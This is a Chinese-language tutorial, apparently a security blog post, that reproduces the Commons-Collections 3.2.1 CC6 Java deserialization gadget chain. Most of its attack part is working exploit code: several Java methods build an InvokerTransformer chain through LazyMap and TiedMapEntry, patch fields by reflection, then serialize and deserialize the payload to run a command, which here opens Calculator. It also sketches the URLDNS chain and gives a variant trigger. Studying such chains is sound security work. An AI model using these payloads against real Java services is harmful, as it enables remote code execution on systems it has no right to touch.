Java反序列化Commons-Collections——CC6

0x01 前言

首先CC6与CC1不同的点在于,CC1局限于JDK8u65版本,而CC6则不再局限于JDK版本,所以这里环境有所不同

然后我电脑上装了JDK8u65,JDK8u144,JDK8u202,这里就用JDK8u144来进行复现。

因为不涉及CC6中不涉及到JDK源码,所以这里也不需要像CC1一样还要配置OpenJDK源码。

环境配置:

  • JDK8u144
  • Commons-Collections 3.2.1

0x02 链尾分析

首先CC6链与CC1-LazyMap链的后半段链是相同的,同样都是利用了LazyMap#get方法,这里先直接把这后半段链的exp贴上:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void exp1() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
decoratedMap.get("test");
}

image-20250506215715998

然后继续通过findUsages寻找看谁调用了LazyMap#get方法,最终在一片结果中最终找到了一个TiedMapEntry#getValue,真是不得不佩服研究出这条链的大佬,tql!

image-20250506220556805

这里先用TiedMapEntry#getValue写一下exp,验证一下可行性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void exp2() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry map = new TiedMapEntry(decoratedMap, "key");
map.getValue();
}

image-20250506222035316

这里成功弹出计算器,证明这条链确实可行,然后就需要找看谁调用了TiedMapEntry#getValue,这里参考一位大佬的技巧

getValue() 这类常见的方法一般优先寻找同一类下是否存在调用情况。

所以这里就直接在TiedMapEntry类中直接搜索,发现hashCode方法调用了getValue

image-20250506222702480

找到这个TiedMapEntry#hashCode,同样编写一下exp验证一下可用性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void exp2() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry map = new TiedMapEntry(decoratedMap, "key");
map.hashCode();
}

image-20250507203704878

同样也是可以弹出计算器。

0x03 URLDNS链

在继续分析链子之前,这里先插入一下URLDNS链。其实URLDNS链才是反序列化初学者的第一条链,但严格意义上来说这条链不能被称为利用链,因为其仅仅能进行一次DNS请求,而不能执行命令,但因为其使用Java内置的类构造,对第三方库没有依赖,所以非常适合在检测反序列化漏洞时使用。

这里直接贴上Getgat chain

1
2
3
4
HashMap#readObject
HashMap#putVal
HashMap#hash
URL#hashCode

0x04 完整链分析

上上节调用链构造到TiedMapEntry#hashCode,然后根据URLDNS的启发,这里是不是就可以通过HashMap来作为入口(在Java反序列化中,在向上寻找链子的时候找到hashCode时,都可以尝试通过HashMap来作为入口类)。这里直接尝试写exp来试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void exp3() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[] {"open -a Calculator"})};
ChainedTransformer chain = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "value");
}

image-20250507211536075

这里可以看到,在没有反序列化时,仅进行了put操作,就已经弹出了计算器,通过分析HashMap可以发现,在进行put操作时,会调用hash(key)计算key的哈希值,从而触发TiedMapEntry#hashCode以及后续链,最终执行命令。

image-20250507230236917

这里就要结合URLDNS的思路,在进行put操作前,将key修改为其他值,在put操作后,再利用反射将其修改为命令执行的参数,这里直接参考大佬的博客

修改这段代码Map lazyMap = LazyMap.decorate(hashMap, chain),修改后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void exp3() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[] {"open -a Calculator"})};
ChainedTransformer chain = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "value");

Class<?> clazz = lazyMap.getClass();
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chain);

serialize(hashMap2);
deserialize("ser.bin");

}

image-20250507234114616

执行exp,但并未按照设想的一样执行命令,这里参考大佬们的博客,中间还要删除一个"key"

image-20250507234419259

即如上所示,在反射修改lazyMap.factory前,将键值删除掉,至于为什么要删除呢,这里来断点调试,分析下原理:

在调试之前,这里有一个idea的小坑,在debug时,idea会自动。。

image-20250508000218629

将这两个选项的勾选去掉即可

这里直接在deserialize("ser.bin")下断点,逐步分析删不删除键值的区别:

最终经过逐步调试发现,区别定格在了Lazymap#get方法上,这里直接看源码:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

!map.containsKey(key)时, 才会进入到条件语句中,执行factory.transform(key),执行恶意命令,否则会直接将原有的值进行返回,触发不了构造的命令。

0x05 另类的触发方式

偶然间,在我第一遍复现时,用了自动代码补齐,导致我在put(tiedMapEntry, "value")时,本来应该赋值给hashMap2,结果给赋值给了hashmap,导致我怎么改都执行不了命令,然后我就看,说到底,这里修改key是为了在序列化时不执行命令,那么,这里是不是可以通过修改其他值,只要避免在序列化时执行命令就可以,刚好,这个tiedMapEntry看着就很对眼神,是不是只要我在new时,使用一个普通的hashMap,然后通过反射修改回lazyMap就可以了呢,正在我打算写exp时, 刚好发现诶,我这个赋值好像错了,修改为hashMap2,果然,成功执行了命令,但是这思路已经来了,总得试试吧。说干就干,直接贴上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void exp4() throws  Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[] {"open -a Calculator"})};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(), "key");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "value");

Class<?> clazz = tiedMapEntry.getClass();
Field field = clazz.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, decoratedMap);

serialize(hashMap2);
deserialize("ser.bin");

}

image-20250508121921394

同样也是可以成功执行命令。

0x06 总结

同样来写一下整个gadget

1
2
3
4
5
6
7
8
HashMap#readObject
HashMap#put
HashMap#hash
TiedMapEntry#hashCode
TiedMapEntry#getValue
LazyMap#get
ChainedTransformer#transform
InvokerTransformer#transform